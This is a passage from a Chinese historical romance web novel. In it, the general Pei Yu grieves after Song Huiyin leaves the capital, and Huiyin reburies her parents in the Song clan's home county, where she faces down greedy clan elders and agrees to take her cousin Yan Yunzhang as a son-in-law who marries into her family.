裴彧盯着那张脸,面上的血色消失,声音冷下来,“你怎么在这里?” 柳檀提着裙走上前,将床边小几上还冒着热气的汤药端起来,递到裴彧面前,“我听闻阿兄伤重,实在是放心不下……” 裴彧拧着眉打断她,“谁放你进来的?” 柳檀一时语塞,再抬眼时眼中泪光点点,含羞带怯。 裴彧避开她下床,捞过衣架上的外衣穿好,冷着脸往外走,“宿风!” 在外忙碌的宿风听见这声怒喝立马小跑进来,一脸欣喜,“少将军,你醒了。” 裴彧指着从内室走出来的柳檀,轻喝道:“她为什么在这里,谁放她进来的!” 宿风朝后看去,柳檀脸色一阵青一阵白,死死的咬着下唇,眼角浸泪。 他低着头回,“少将军昏迷多日,柳女郎担忧您的身体,去求了夫人留下照顾您。” 柳檀柔声解释,“元晞阿兄,我没有旁的意思,只是想照顾你。” 裴彧打开门,背对柳檀,语气平淡,“你走吧,以后不要再来了。” 柳檀一脸不可置信,捂着胸口连连后退,撞在屏风上。宿风见此场景,连忙躬着身体退出去。 “我以为你对我是有情的?” 裴彧回头看着她,眼神冷漠毫无温度,向一柄锐利的尖刀直直插进柳檀的心底,“你对我来说和贺佳莹没什么区别。” 柳檀咬牙道:“贺佳莹是你的表妹,我是和你自幼定亲的人,如何能一样!” 裴彧拧着眉:“婚事是父辈定下,并非我所愿。” 柳檀的泪珠打湿衣襟,她嘶声质问,“这都是你的借口!你就是还恨着我抛弃你另嫁,嫌弃我不干净了!明明从前你待我很好。” 裴彧面色毫无波澜,他目光无意识的落在帷幔上,想起徽音曾经指责他的话。她说的没错,怪他也是应当。 “从前,知晓你是我的未婚妻后我对你并没有太多的想法,一次宴席,旁人都在嘲笑我阿母举止小气,唯独你出言相帮。那时的我觉得娶你也无妨,起码你不嫌弃我阿母。我对你从来都没有男女之情,我很确信这一点。” 柳檀不相信,她红着眼泣道:“不可能,你骗我!” “我没有骗你。”裴彧终于将视线落在她的身上,他看见柳檀一副泪流满面,伤心欲绝的模样,内心毫无波动。 徽音却不同,他无法对她的眼泪坐视不理,甚者会因她一个蹙眉的动作牵动心绪。 裴彧平静道:“当初死里逃生回来时,听到你另嫁的消息,我内心没有任何的愤怒,反而是松了一口气。” 柳檀浑身僵硬在原地,不死心道:“那你为何屡次帮我!” “你很清楚,不是吗?” 裴彧走到门外,仰头看着天色,乌云翻涌,小雨渐落。 他打赢胜仗回长安没多久,柳檀的丈夫就意外身亡了,彼时裴彧听闻此消息,也只是暗暗叹息一句,并没有其他想法。 是柳檀千里迢迢给他来信,声声诉苦,信中言明她是想为裴彧守身,奈何她父亲凉薄如斯,硬生生的逼着她另嫁。 她新婚丈夫死后,便想归家,青州董氏却不肯放入,逼着她为亡夫守节,不让她再另嫁。 她那个父亲全然不管她的死活,只好来求裴彧相助。她在信中殷殷请求,裴彧念着旧情亲自去了青州与董氏家主协商,用了些利益交换,换得她只守寡三年。 那一年里,两人的流言漫天飞舞,裴彧全都知道,但没了柳檀,母亲和姑母还会再给他找李檀,王檀,裴彧也说不清为何如此抗拒婚事,但经过柳檀一事让他明白,他不能再如此随随便便定下婚事。 是以,当他得知流言一事时并未阻拦,甚者私下推波助澜,借由此借口躲避三年婚期。 柳檀泣泪连连,不知何时已经呆坐在地上,闭眼不语。 裴彧没再理会身后的人,他径直出了屋朝外走,他要去见一个人,晚了他担心来不及。 第62章 初到宛县,宋氏族人…… 裴彧才走到廊道上, 就被听闻消息赶来的裴夫人拦住,“你才醒,这是要去哪?” 裴彧想起阿母让柳檀进府一事, 心中有气,脚步不停, 面无表情的越过裴夫人,“儿子有要事。” 裴夫人张手拦住他,怒道:“你能有什么事,不就是赶着去见宋徽音吗?这等无情无义的女子, 你还惦记她做甚!” “她不是这样的人。”裴彧第一次对裴夫人冷了脸。 裴夫人怒上心头,鼻腔喷喷出着气, 她身后的乔媪连忙上前替她抚胸顺气, 面露祈求的望着裴彧,“少将军, 夫人可不能再生气了。” 裴彧捏紧拳头,将怒意硬生生压了下去,他面色缓和一些,“阿母先回去,儿子去去就回。” 他说完拉下裴夫人的手臂, 大步向前走, 听见裴夫人在身后怒道:“那宋徽音离开裴府后就住进了王寰的别院, 这样一个水性杨花, 别有异心的女子, 你还去找她做什么, 世间又不是只有她一个女人。” 裴彧停住脚步,并未回头,“世间女子千万, 我只要她一个。王寰又如何,我会把她抢回来的。” “你……”裴夫人被气得说不出。 风雨渐渐变大,雨势急迫,叫人睁不开眼。 裴夫人看着裴彧身影渐渐消失,万般无奈的叹了口气,吩咐人赶紧拿着雨具追上去。裴彧重伤未愈,要是在这初秋淋场雨,非得加重病情不可。 裴彧出了裴府,骑着马直奔王府,他不知道王寰的别院在哪,只能先去王家找王寰。 铺面而来的雨珠打在他的脸上,身体也渐渐冰冷起来,裴彧明显感觉到身后的伤口开始发裂,血水顺着他的肩脊落在街道上,又立马被雨水冲刷掉。 他在王府门前老老实实的等了半个时辰,王寰没出来见他,只派人出来告知一句:“徽音已经离开长安回荆州,不会再回来了。” 他立在王府大门外,心像是被人剜了一个血洞,涓涓往外流,一腔热意也冷了下来。 裴彧牵着马往回走,她走了,她就这么走,没跟他道别,也没留下只言片语,她真狠心。 她真的不要他了。 眼眶生热,好像有什么东西和雨水混着,一路往下流,叫人嘴角发苦。 裴彧漫无目的的牵着马,脚步不知不觉的停在曾经的宋府前,上门的门匾依旧写着樊宅,徽音她连宋府都不要了,她真的不打算再回来了。 分不清是身体太痛还是什么,他有些支撑不住的跪在樊府门口,浑身湿透,狼狈不堪。 裴彧视线模糊一片,他低着头,看见地上蓄起的小水坑里慢慢出现一个人影,眉目如画,唇瓣弯弯的看着他,漂亮的琉璃眼里满是碎光,她伸出手捧起他的脸,无奈道:“裴彧,你怎么把自己弄成这样了?” 裴彧眼不眨的盯着徽音,眼中泣泪,他哽咽的伸出手,“徽音我错了求你回来求你。” 在碰见水花的那一刹那,徽音从他眼前彻底消失,不留一丝痕迹。裴彧埋首在地,失声痛哭。 赶来的驰厌和方木停下脚步,他们从来没有见过裴彧这般模样,不论什么险境,多么危险,裴彧总是强大冷静,好像任何事情都不能将他打倒。这是他们第一次见到裴彧的眼泪。 过了不知多久,裴彧终于坚持不住倒在雨里,驰厌和方立马冲上前,扶他上马回府。 裴彧被两人抬回府里,柳檀已经离开,裴夫人见他一副神志不清,脸色惨白的模样,当场就哭骂一通,骂他不叫人省心,不拿身体当回事。 医官开了药,裴夫人叫人给他灌下去,奈何他死死咬着牙不肯张嘴,也不肯好好躺着,非要起身去找个什么东西。问他要找什么,他又说不清,只一味赤着脚往外走,三个人都拉不住他。 陶媪和裴衍进门时,驰厌正和方木反扭着裴彧的手臂将他按在地上,裴夫人在一边急得像热锅上的蚂蚁。 “你们动作轻些,仔细伤了他。” 裴衍定睛看去,裴彧双目发红,背上的里衣已经全部被血浸湿,伤口崩裂。他口中不住的呢喃,他在喊徽音的名字。 裴衍鼻尖一酸,帮着两人把裴彧抬上床,他那不可一世的阿兄低下了高贵的头颅,声声恳求听得叫人心碎。 裴夫人扑到床前,流泪道:“你莫再折腾了,等你好了只管去找她,阿母绝不会再拦你。” 裴彧紧闭着眼,牙关咬的死紧,不论如何劝说都不肯吃药。 裴夫人没了法子,只得赶紧叫人套车去王府别院将徽音接过来。 落后一步赶来的贺佳莹听见这话连忙挤上去,“徽音昨日便已经离开长安回荆州了。” “什么?”裴夫人大惊,望着面色惨白的裴彧心中不住的心疼。 床上的裴彧许是听见徽音两个字,皱着眉的头慢慢松开,睁开眼望着天一言不发。 裴夫人忙凑上去劝,“儿啊,你清醒了吗?” 裴彧坐起身,无视屋中的一群人,招手让侯立的乔媪将药碗端过,他盯着那碗药一饮而尽,声音沙哑,“我没事,你们都出去,医官留下。” 裴夫人不愿离去,倒是陶媪看出了裴彧神思清醒,连拖带哄的将人拉出去。 屋内清空后,裴彧面无表情的解开衣裳,露出血肉模糊的背脊,对医官道:“用最好最猛的药,我要明日就能出城。” 医官面露为难,“少将军,你这伤势太重得静养,这伤口才长好就裂开,大半月都好不了。” 裴彧盯着他,“你只管上药,其他的与你无关。” “可……”医官见他心意已决,不敢再劝,拧着干净的布巾去擦拭裴彧身上的血痕。 刚愈合的伤口复又裂开,还在雨里淋了一场雨,穿着湿透的衣服大闹一场,此刻伤口的血肉都开始泛白肿胀,叫人看着心惊肉跳。 医官小心翼翼的处理好裴彧背上的伤口,还是没忍住叮嘱,“这伤口半个月内一定不能再撕裂了。” 他没听见裴彧应声,抬眼去看,那人坐的稳稳当当,背脊上缠满白布,嘴角向下,一双眼沉幽幽的望着南方。 医官摇摇头,背起药箱离开。 裴彧独自坐了一会,打开门让人摆饭,他要赶紧养好身体,他要把徽音带回来,永远囚在他身边,再也不让她离开。 —— 车队离开长安后,徽音的心情一点一点变得好起来,他们出了长安,越过秦岭,自汉水向南,取道荆襄古道,景致愈见清丽。 险峻的山势化为柔和起伏的丘陵,浅水湖也愈发密集起来,偶尔可见有妇人临水浣衣,杵声清越。 到了荆州渡口,一行人改走水道,登上渡船。过了这汉水,对岸便是宋家祖地宛县。 徽音出长安之际便派了人给宋氏族人送信,让他们准备好迎接父母棺墩进祖坟。 她站在船头,江风带着水腥气,比山风更柔和,也更潮湿。江上飘着许多乌篷船,船家撑着长篙,船尾稳坐着钓鱼翁。 徽音闭上眼感受着江风,她喜欢这里,这里的一切都让她感到亲切柔和。 身后有人为她披上茜色披风,徽音回头望去,颜娘立于她身后,神色柔和。 临近午时,江边人并不多,只有个零星的黑点点,看着像是渡口忙活的酒家。 一刻钟后,渡船停稳在岸边,徽音看着岸边光秃秃的空地,眉间蹙起,为何一个宋氏族人都没瞧见。 颜娘也一脸疑惑,“怎么无人相迎?” 徽音凝着眉,大约明白了,宋家这是想给她一个下马威。 下了渡口,徽音让车队在原地休整一二,她这次回乡只带了颜娘和几个王寰给的侍卫,再加上三车陛下给的赏赐和归还的旧物。 从前阿父还在,宋氏一族对她们这一脉异常恭敬,逢年过节都有族叔带着礼节上门。 阿父出事后,宋氏一族就立马换了一副嘴脸,不仅不派人进长安相助,还拒绝她将阿父葬入祖坟的请求,甚至在徽音去信求些银钱相助之时装聋作哑。 只有舅舅一家叫人捎来不少金银,却也无事于补。 休整过后,她朝渡口打听出宋家所在地,带着人一路招摇而去,路上还沿途散播她扶棺归乡的消息。 宛县民风淳朴,百姓都很热情,七嘴八舌的围上来,你一言我一语的问。 “你们是宋家人啊?你父亲是谁啊?” 徽音带着幕离,坐在车门口,“家父宋渭。” “宋渭?那不是宋家那个大官吗,我听说他年前因贪污受贿死了。” 徽音摇摇头,“家父蒙受冤屈,陛下已经昭告天下为他平反了。” “这样啊,那你们这次回来的干嘛的?” 徽音耐心的解答,“落叶归根,自然是要将阿父阿母葬入祖坟,只是……” 她声音低落下去,幕离被风掀起一角,露出秀丽的下颚。 看热闹的人群忙问:“只是什么,有什么难处,你说出来看看我们能不能帮上忙。” 徽音低着头凄凉道:“我这一脉就剩我一人,我担心我一孤女,无法让阿父阿落叶归根。” “你放心,宋家就是靠着你父亲发家的,他们绝不敢欺负你一个孤女。” “就是就是,他们要是敢为老不尊,这宛县的百姓一口一个唾沫都能淹死他们!” 徽音站起身,盈盈朝人群施了一礼,“那徽音在此谢过各位父老乡亲们了。” 没过多久,车队已经来到宋家族房前。宋家的祖房并非长安那种大宅院,而是很多个小院组成,外围一圈是一进,中间则是二进和三进。 房屋围在一起,这一片都是宋家族人的居住地,因此这里的地名也被称做宋巷。 此刻已经有不少听见动静的宋家族人探出头,纷纷瞅着徽音等人。 徽音低声吩咐下去,叫车队分开,将金银锱铢等物留在巷子外,大半人手也都留下。 她只带了颜娘以及两个王家侍卫,运着父母的棺椁来到宋巷的中间,身后还跟着一批看热闹的乡民。 她们阵仗极大,宋氏族长不可能没有听见风声。这是这里头的院落依旧一片宁静,连看热闹的都只有外围的族人。 过了一阵依旧没有动静,乡民们也开始切切私语。 徽音带着幕离,暗地里掐了把腰,扑到棺椁上痛哭,“阿父,你为国为民操劳一生,族人们不知道沾了你多少好处,如今你尸骨未寒,他们就将我们拒之门外,不给我这个孤女活路啊。” 颜娘接收到徽音的信号,一把跪在乡民脚下,一把鼻涕一把泪哭嚎,“乡亲们,我家女郎苦啊啊啊啊啊啊!” 徽音心中暗地给颜娘点了个赞,不愧是她傅母,一个眼神就知道她要做什么。 外围看热闹的宋家族人瞬间坐不住,纷纷跑来劝慰,“女娃莫哭,我们没说不管你啊。” 跟过来的乡亲中有那义愤填膺的,当即啐了一口,“我呸!你们家做的好事,这女娃扶棺回乡,你们连门都不让进,不是欺负孤女是什么!” “就是!你们莫忘了,如今这一片可全是人家宋大人挣来的,这么快就忘本了!” 宋氏族人当中有个颇伶俐的妇人,一听这话连忙出来嚷道:“乱吣什么!败坏我家名声,这孩子不打招呼就跑回来,我们哪知她今日回来。” 徽音装模作样的擦了两下泪,这人无需她出手,颜娘就能干掉她。 果不其然,颜娘一听这话一骨碌从地上爬起身,指着那妇人骂,声音大到连巷外都有回音,“我们出了长安就给族里送信,每到一个地方就送一封,你说没收到谁信啊!我看,分明就是你们这群人狼心狗肺,欺负我家女郎孤身一人!” “当初我家主君出事之时,夫人来信请求族人派人去长安将主君尸身接回族里厚葬,你们是怎么做!你们不同意我家主君入祖坟,害得他只能草草下葬荒凉之地,如今要要受这迁坟的罪!” “真真是一窝子白眼狼,没一个好东西!” 那妇人被颜娘噼里啪啦一顿给堵住,半天说不出话。 场面一时间冷淡下来,徽音伏在棺椁上,听着颜娘的声声控诉,心中更加痛恨,他们凭什么这么对她父亲,明明现在的一切都是她父亲给的。 宋家原本只是宛县小族,若非她父亲,他们怎么可能成为宛县大族,穿金戴银,良田丰茂,连县尉都要给几分薄面,避其锋芒。 “那是因为宋渭是贪官蠹虫,让他入祖坟岂不是脏了我们宋家百年清誉!” 徽音听到这话,忍不住弯起嘴角,百年清誉,倒是会给自己脸上贴金。 她抬头望去,一群身着长袍的男子从中间那座小院走出来,出声的是当中那人,他年纪约莫五十上下,头发上夹着银丝,一把长须留到胸前,眼眉细长,面相寡淡,一双眼浑浊阴蛰,杵着一把黄木拐杖。 一看就不知道什么好东西。 徽音看见那群宋氏族人纷纷朝他行礼,唤他族长。 跟着她来的那群乡亲们也恭敬的唤他一声“宋老”。 正主出现了,颜娘狠狠瞪了一眼那人,退回到徽音身后。 徽音直起身,微微屈膝,“宋渭之女宋徽音,见过族长。” 宋修吾冷哼一声,完全无视徽音,朝着众乡亲道:“各位乡亲大驾光临,怎么不通知老夫,老夫也好相迎。” 他这话说的颇为尴尬,倒像是在责怪旁人不请自来。一时之间无人应声,只有一个瘦削老头从人群中走出来,笑道:“宋老三,这小女娃可怜,我们呐是来帮她的。” 宋修吾眯起眼,转着拇指上的扳手垂眼思量,这老头不同于那些乡亲好糊弄,他是县尉张大人的老父,平日就爱喝点小酒,管点闲事,讨人厌的紧。 他收了神色,笑眯眯道:“张老大人莫开玩笑,这是我家的女娃,如何要你需要你相帮啊。” 张老轻哼一声,小翘胡须微动,斜眼看着宋老。 徽音出声打断二人,“方才族长有一句话说错了,我的父亲并非贪官蠹虫,陛下已下旨为我父亲平反,追封他为义侯。” 宋修吾转头打量看不清容貌的徽音,眼神阴毒入盘旋的毒蛇,他狠狠杵了一下手中的拐杖,怒喝道:“你这女娃半分不懂规矩!长辈说话哪有你插嘴的份!” 徽音捏着衣角,听着宋修吾的怒斥,漫不经心的想着,这群人怎么都是一个样子,看她是个女子,以为能三言两语就将她吓退,任由他们拿捏吗? 她不卑不亢道:“族长失言在先,我身为人子,自然无法坐视父亲受辱。方才族内人道,今日将我这一脉拒之门外是因为未曾接到消息,您是否能解释一下?” 宋修吾仰着头,抚着胡须没有说话。 他身后一中年男子见状接话,“你这孩子太心急了些,我们得到消息出门还须一段时间,你等这会子都等不急,还劳烦父老乡亲们跑一躺,真是不懂事。” 这人是宋修吾的长子,名叫宋乔,平日里族内大小事物都是他在处理。 徽音听着耳边的窃窃私语,抬手抚在棺椁之上,“非我不懂事,我只是想让父母尽快入土为安。我父亲也算是族叔们的长辈,又已先去,只有你们等他们的道理,万万没有让我阿父停灵在此处等你们的道理。” 宋修吾冷哼一声,终于抬眼正视徽音阴阳道:“你倒是牙尖嘴利,与你父亲没半点相像。” 徽音不卑不亢,“您是长辈,说什么就是什么吧。时辰也不早了,请您亲自迎我父母进祖坟罢。” 方才那中年男人又道:“族长年事已高,这样吧,我叫个年轻人带你们过去。” 他说完朝身后的人群扫了几眼,拽着一个衣裳发白,面容憨厚的老实人走出来,笑呵呵道:“这小子叫宋平,让他带你们过去吧。” 徽音看过去,被拽出来人一脸蒙圈,摸着后脑勺语气结巴,“这位女郎,随……随我来吧。” 徽音微微屈膝行礼,“不知阁下如何称呼?” 宋平连忙在衣摆上擦擦手,双手拢于胸前作揖礼,“在下宋平,字子真。” 他迟疑片刻,“我与你这一脉未出五服,你也可以唤我一声七堂兄。” “七堂兄,我初回荆州无处落脚,不知你家中是否方便暂时收留与我。”徽音虚虚扶了他一把。 宋平连忙点头,“有的,只是舍下简陋” “不妨事,”徽音摆摆手,朝身后等着的人招手,让他们拉着三车金银锱铢上前,“陛下为我阿父平反,不仅归还了我家的旧物,还另行赏赐补偿了一番,你先将我这些行礼放到你家中,再带着我去祖坟罢。” 宋平呆呆的望着三车金银,咽了咽口水,颤抖着指着东边,“这这边。” 徽音才跟着走出三步,就被宋乔带人拦住,宋乔一改方才态度,点头哈腰的来到徽音面前,“你这孩子,宋家这么大哪能没你住的地方,我们专门辟了个院子给你,还找了几个婢女伺候,快快随我们进去罢。” 他嘴上说着这话,一双眼睛却发光的盯着身后那三车,彷佛已经是他囊中之物一样。 宋修吾冷硬的表情也好转不少,依旧是那副鼻孔朝天的模样,等着徽音开口求他。 徽音冷笑片刻,“不必了,我住七堂兄家即可,族叔,请让路吧。” 身后的王家侍卫上前拉开挡路的宋家人,押着三辆车朝里走,宋乔连忙去拉宋修吾的衣服,给他使眼色让他赶紧把人拦下。 宋修吾瞪了宋乔半天,眼睁睁的看着徽音带着行礼从他面前走过,终于憋不住的开口,“等等,老夫想了想,你一个孤女也不容易,老夫亲自带你们去祖坟罢。” 徽音停住脚步,回头朝宋修吾笑道:“族长太客气了,那就请吧。” 张老头看热闹不闲事大的插嘴,“宋老三,早这样多好,这宋大人可是国之忠臣,你们可得好好待他的后人啊。” 其他乡亲也纷纷附和,你一言我一语的说起来。 宋修吾憋着气狠狠瞪了眼看热脑不嫌事大人群,抬步向前领路。他走出几步,发现徽音并未跟上,宋修吾不悦道:“你还等着作甚,不上着急去吗?” 徽音笑道:“族长,请等一下。” 宋修吾眉间的不耐更加明显了,要不上看在那三车财宝的份上,他早叫人把徽音打出去了。 “又怎么了?” “族长都去了,族中子弟也都跟着一起吧。”徽音平静道。 宋修吾眼风一斜,历来只有族长和族内德高望重之辈才能有这份殊荣,才让全族为他送葬,这宋徽音居然打的是这个注意,想让族中子弟为宋渭夫妇下葬。真是痴心妄想! 他抬手招呼几个出来,让他们拉着装有棺椁的板车跟他走,“族中子弟都还有要事,抽不开身,时候不早了,早去早回。” 徽音站在原地没有动,王府侍卫也将棺椁团团围住,不让任何人靠近,同时叫停那三车往宋家去的财宝,一时之间,场面僵持住。 徽音慢慢掀起幕离,白纱下花容显现,她唇角勾着笑,“有事也不差这一会,都去罢。” 宋修吾停住脚步,无声和徽音对视。徽音不想看见他那张讨人厌的脸,将幕离又盖回去。 这世间不管男人还是女人,对美丽的事物总是各位的宽容,怜惜,徽音很清楚这点。 她隐在幕离下,听着越来越大的议论声,以及已经朝她缓缓靠拢来的宋氏族人,勾起唇角。 张老挤上前,摸着下巴对着徽音啧啧两声,满眼惊叹,“小女娃长得可俏了,可惜可惜啊!” 徽音朝张老福身,声音轻和,“老人家谬赞了。” 宋氏族人已经围了上来,其中有几人已经忍不住开口,“族长,不如我们就一起去吧。” “就是啊族长,宋大人……不,义侯下葬,我们应该去的。” 乡亲们也连声道:“就是啊宋老,义侯可是我们宛县今年的唯一个侯爷,这可是莫大的殊荣啊!” “应该去的啊。” 宋修吾脸色铁青根本说不出拒绝的话来的,宋乔连忙凑到他跟前低语两句,宋修吾扫过那三车财宝,终了松了口,“罢了,那就一起去吧。” 临近黄昏,宋渭夫妇终于安然下葬,徽音跪在新立的石碑前,磕头上香。 她身后,除了宋修吾还站着外,其他族人都跪在地上,恭敬的磕头。 徽音收回视线,盯着火盆不语,只要宋修吾还在族长的位置上一日,她在荆州的日子就不好过。 她除了身有万贯家财,还有一个更吸引人的东西,陛下追封她父亲为义侯,爵位可以世袭下一代。 本意是补偿,若宋景川还能被找回来,爵位自然由宋景川继承。若他回不来,宋修吾惦记爵位,必然会想方设法让她为父母过继嗣子,想方设法霸占爵位和家财。 徽音面无表情的点燃一炷香插在香炉前,财帛权势动人心,只是要看有没有这个命。 第63章 表兄颜昀章 一行人赶在太阳落山前回了宋巷, 徽音带来的行礼早已经被宋修吾一家带走,影子都没瞧见。 宋修吾和宋乔让她住进一个二进院子里,扔来了一个上了年纪的仆妇就消失不见。 小院檐下被颜娘陆续点燃三盏灯, 橘色的灯火照亮着一片昏暗,温暖人心。 徽音坐在院中喝茶, 颜娘在她面前来回走动,面色焦急,“这宋家就是龙潭虎穴,实在是欺人太甚!” “傅母你也太高看他们了, 他们还算不上是龙潭虎穴。”徽音倒了杯茶递过去,宽慰颜娘坐下。 颜娘一口饮尽, 捏着杯子气愤道:“你才刚回来, 他们就将家财全部搬走,实在是欺人太甚!” “傅母莫急。”徽音摆摆手, “我估摸着今夜也不会安生,马上就要唱出大戏了。” 颜娘眉眼一凝,“怎么说?” 徽音也不卖关子,解释道:“今日我回来,在宋巷门口和宋修吾对峙一事已经闹得沸沸扬扬, 宛县想必人人皆知, 我在等我舅父家。” “舅父?” “颜家亦是宛县大族, 只是没有宋氏族人多, 但也不是任人欺负的。这一任的颜氏家主乃是我阿母的亲兄长。父亲出事时, 这位舅父曾出手相帮, 我料想他今日一定会打上门来替我做主。” 颜娘追问,“你待如何?” 徽音抬眼起,盯着门外, “自然是拿回我的东西,一分一厘我都不会给宋修吾,并且借此机会解决爵位后患。” “咚咚咚——” 颜娘上前拉开门,门外那人语速极快,“宋女郎,快随我前院,颜家来人了。” 徽音饮完最后一口茶,起身系好披风衣带朝外走,秋夜里还是有些凉的。 前院灯火通明,除了白日里见过的宋修吾和十几位宋家族叔外,院子中央还站着七个人,领头的一人蓄长须,方脸厚唇,身高约莫七尺,身体厚实得像一堵墙。 他旁边站着的那人倒是眉清目秀,身姿修长,眉眼间瞧着很是眼熟。 徽音走上前,先是向各位族叔见礼,然后乖觉的退到一旁看着中间的三人。 宋修吾清嗓,指着那个方脸道,“这是你舅父颜宵。” 徽音眼光一闪,踌躇的上前小声道:“舅父。” 她抬起眼,瞧见颜宵眼中含泪,伸出的双手颤了又颤,“哎,好孩子,你受苦了。” 徽音鼻尖一酸,连忙低头不语。她回来时多次猜测过这位舅父,好的不好的全猜了个遍,本来是不报什么希望。 但此刻见到这世上为数不多的亲人后还是忍不住红了眼。 颜宵看着面前花颜的小女郎,仿佛看见年少时的颜婥,哽咽着说不出话。 他身侧那青年看不过眼,扶着颜宵的手臂道:“阿父,还在宋家。” 颜宵回神,勉强笑道:“一时被风迷了眼,勿怪勿怪。” 他拉着那年轻人介绍给徽音,“这是你表兄,颜昀章。” 徽音抬眼,颜昀章和颜宵面容完全不肖似,看着一点都不像父子。颜宵与她阿母的容貌也半点不肖似,但这表兄颜昀章,他的眉眼像极了阿母,也像极了她,令人亲切。 徽音朝颜昀章点点头,屈膝行礼,轻唤:“表兄。” 等着的宋修吾满脸不耐之色,出口打断,“行了,颜宵,你也见到了,这人好得很,可以走了吧。” 颜宵无视他,温声问徽音,“宋家待你如何,可有欺负你?” 宋乔忍不住开口:“颜宵,你这是什么话!” 徽音眨眨眼,立马告状,垂眼委屈道:“他们让我住的那个院子破破烂烂的,还把我的行礼都拿走了。” “什么!”颜宵勃然大怒,一把将徽音护在身后,对着宋家人怒道:“宋修吾,你个老不死的,真以为我颜家没人是吧,敢怎么欺负我外甥女,她才刚回来你就霸占家财!” “放肆!”宋修吾脸色气得铁青,拐杖在地上砸得哐哐响,“她一个女子如何会理事,我是在帮她保管。” “我呸!越老脸皮都不要是吧,你今日要不将东西吐出来,我就让全城都知道你是什么德行。就你这样的,礼仪德行一样没有,也配继续做族长。” 徽音望着颜宵的背影,心中生暖,她已经很久没被人这样护在身后。 颜昀章回头来看她,见她眼中眸光闪烁,以为她是在害怕,连忙安慰,“表妹莫怕,我们一定会护着你的。” 徽音笑着点头,开心道:“谢谢表兄,也谢谢舅父。” 宋修吾大怒,立马回怼:“宋宵,你不要太过分,她是宋家的人,轮不到你来多管闲事。” 颜宵半分不退,“哼,她是我颜宵的外甥女,我妹妹的女儿,我如何不能管!我懒得与你多说,你赶紧将东西还来,我今夜就要带徽音走。” 宋修吾脸色气得铁青,一副只见吸气不见出气的模样,他身侧的宋乔见状连忙上前扶着他,帮着宋修吾顺气,同时狠狠瞪着颜家等人,指挥身后的宋氏族人道:“还愣着做什么,还不将这些人打出去!” “我看谁敢!”颜宵刷的一声抽出腰间佩刀,明晃晃的刀锋在火光下锋利异常,他举着刀上前两步,身形魁梧,一人就震慑住了围上来的宋氏族人,颇有一夫当关万夫莫开的气势。 颜昀章担心闹得太僵,拱手上前恭谨道:“宋老请见谅,我父亲想念徽音,不过是要接她回颜家住几日,实乃人之常情啊。” “说得倒是好听,”宋乔嘴角嘲笑,目光令人生厌,“以为我不知道你们打的什么注意,这东西进了你们颜家的门还出的来吗?我告诉你们,财宝和爵位只能是我们宋家的,你们想抢也得看看有没有这个本事!” “你!”颜宵怒急,抬手劈灭一盏陶灯,灯油洒了一地,噗噗作响,“你们这是小人之心!我从未如此想过!” “哼哼。”宋乔冷笑,神色得意的看着徽音,暗藏威胁,“宋徽音,你是个聪明人,你一个孤女,爵位你是如论如何都保不住的,一笔写不出两个宋字,只要你答应将我孙子过继在你父亲名下,以后我们家一定会好生待你,再为你寻一门好亲事。” “住口,你当着我的面就敢如此说,我绝不会让你们如意。”颜宵扬刀指着宋乔,怒喝道。 宋乔冷哼,“倒是会装相,你如此急吼吼的跑来,不就是想将人带回去,让你儿子娶了宋徽音,好名正言顺的霸占爵位吗?” 徽音抬起眼,实在没有想到宋乔居然如此不要脸,能说出这种话。 她冷笑道:“我为什么要答应你,爵位是陛下补偿我家的,就算是后继无人,我也不会便宜你。” 宋乔脸色变得渐渐难看,在她眼里,宋徽音就是个小姑娘,涉世未深,哄两句就能叫她乖乖听话,实在不行吓唬她两句,反正她一个孤女也翻出什么风浪。 只不过,他好像是小瞧了她,也是,今日宋渭下葬一事他就应该知晓的,这孩子不是束手就擒的性子。 不过,没有关系。回了宛县,任她有多大的本事都翻不出风浪,宗族大于天,孝道压死人。 宋乔先是吩咐人将气晕过去的宋修吾扶下去,而后负手在身后慢慢走下来阶梯,语重心长叹息道:“徽音啊,你总不能眼睁睁看着你父亲这一脉无后吧,过继嗣子继承香火,以后逢年过节你父母也有人上柱香不是?” 徽音平心气和的看着这场闹剧,冷淡道:“我父母有儿子,我也有弟弟,无需过继嗣子。” 宋乔背手在身后,扶着胡须幽幽叹息,“景川能不能找回来还是两说,他要是一辈子都找不回来呢?” 颜昀章接话道:“即便景川找不回来,徽音也还在,这爵位自然由她子嗣来继承。” “胡扯,女子都是要嫁出去!她以后就是旁人家的人,她的儿子是外人的血脉,如何能继承宋家的爵位?” 徽音等的就是这句话,她冷冷道:“谁说我要嫁人?” 宋乔眯着眼看过来,颜宵和颜昀章也转头看着徽音。 “宋家现下就剩我一个,我难道不能招赘婿上门吗?”徽音慢悠悠道。 宋乔第一个出声反对,“这怎么能行!” 颜宵立刻接话,“如何不能行,我看招赘婿一事好的很,以后徽音的子嗣也是姓宋,名正言顺的很。” 宋乔一时被堵了回去,身后有人凑上去给他出主意。他定了定心神,“愿意做赘婿的又有几个是好的,历来赘婿伙同外人侵占本家财产的比比皆是。” 徽音笑道:“历来过继的嗣子更看重其他生身父母的也不少见。” 宋乔语塞,“你……” 沉默已久的宋昀章突然走到徽音身前,作揖俯身下去,“表妹,若你不嫌弃,我……愿意入赘为婿,从此成为宋家人。” 徽音蹙起眉,万万没想到宋昀章回说出这番话来。她说要找赘婿只是为了将今日之事拖延过去,打消宋乔要给她父母过继嗣子的念头。 “表兄……你……” 难道真如宋乔所言,舅父一家也惦记着爵位。 颜宵也反应过来,连忙解释,“徽音,我有生有四子,你昀章表兄是最小的,也是最有出息的一位。你若愿意,我和他阿母都没有意见他入赘一事。” 宋乔:“哼!还说你们不惦记,颜宵,吃相未免太难看了些罢。” 颜昀章微微一笑,眉眼如清风明月,他朗声道:“在下愿去县尉大人那里备案,宋家家财爵位我分毫不取,若违背誓言,甘愿入狱受罚。若来日表妹另有心爱之人,只管舍下我便是。” “另,若他日景川寻回,爵位自然由景川继承。” 颜宵跟着点头,一点希冀的望着徽音。 徽音垂下眼,她没想到今日一事弄成了这个样子,但颜昀章的提议着实令她心动。 有颜昀章做当箭牌,还有颜家做后盾,宋修吾和宋乔奈何不了她,更别说抢夺爵位了。 何况今日她用招婿一事搪塞过去,宋家绝不会善罢甘休,一定会在她招婿一事上大做文章,说不准还会逼着她同旁人成亲。 颜昀章是她表兄,舅父待她确实是一片拳拳慈爱之心不曾作假。 她唇角带笑,微微点头,“好。” 为避免夜长梦多,当夜徽音就在颜家父子的帮忙下搬出了宋府,颜宵父子带着她一路来到颜府。 颜夫人一早就得到消息等在门口,她是个很和善的人,身材丰腴,右眼下有颗小小的红痣。她对徽音态度热络却不让人感到厌烦,甚至对于颜昀章要做赘婿一事都没有丝毫的不满。 